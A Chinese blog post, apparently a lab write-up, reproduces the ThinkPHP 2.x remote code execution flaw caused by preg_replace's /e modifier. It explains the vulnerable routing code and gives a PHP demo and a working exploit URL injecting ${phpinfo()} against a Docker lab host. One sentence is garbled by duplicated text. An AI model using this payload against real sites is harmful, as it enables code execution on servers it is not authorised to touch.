ThinkPHP2--RCE漏洞复现

一、漏洞简介

影响版本:PHP 5.2~5.6

/e 修 正符使 preg_replace() 将 replacement 参数当作 PHP 代码(在适当的逆向引用替换完之后)。提示:要确保 replacement 构成一个合法的 PHP 代码字符串,否则 PHP 会在报告在包含 preg_replace() 的行中出现语法解析错 误。

在ThinkPHP ThinkPHP 2.x版本中,使用preg_replace的/e模式匹配路由:

$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));

二、漏洞复现

运行此靶场

sudo docker-compose up -d

查看启动环境

sudo docker ps

导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞。

$a的执行语句执行了(注意如果要实现该代码需要修改php的版本为5.x的版本)

<?php
$a = 'print_r("AAA");';
$b = "aaaac123caaaa";
echo preg_replace("/c(.+?)c/e",$a,$b);

由此可见,preg_replace()函数在匹配时,会自动执行replacement。

再回来看ThinkPHP2漏洞的出现点:

$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));

一个路由匹配规则

()值提取匹配的字符串,有几个括号就代表有几个匹配的字符串,看结果我们就知道,我们的目的是将键和值分别提取出来,所有有两个(),一个匹配键,一个匹配值

️⃣代码可执行的位置只能为值,而非键

数组v a r 在路径存在模块和动作时, ‘ 会去除掉前 2 个值 ‘ : t h r e e : 而数组 var在路径存在模块和动作时,`会去除掉前2个值` :three:而数组var在路径存在模块和动作时,‘会去除掉前2个值‘:three:而数组var来自于$paths = explode($depr,trim($_SERVER['PATH_INFO'],'/'));

$var['\1']="\2" 这里双引号引发函数执行,了解为什么${}会执行,在PHP当中,${}是可以构造一个变量的,{}写的是一般的字符,那么就会被当成变量,比如${a}等价于$a,那如果{}写的是一个已知函数名称呢?那么这个函数就会被执行

thinkphp路由的格式是分组/模块/操作名/参数

/index.php?s=a/a/a/${phpinfo()} 其中a随意

http://192.168.83.136:8080/index.php?s=a/a/a/${phpinfo()}

sudo docker-compose down

  • 27
    点赞
  • 13
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值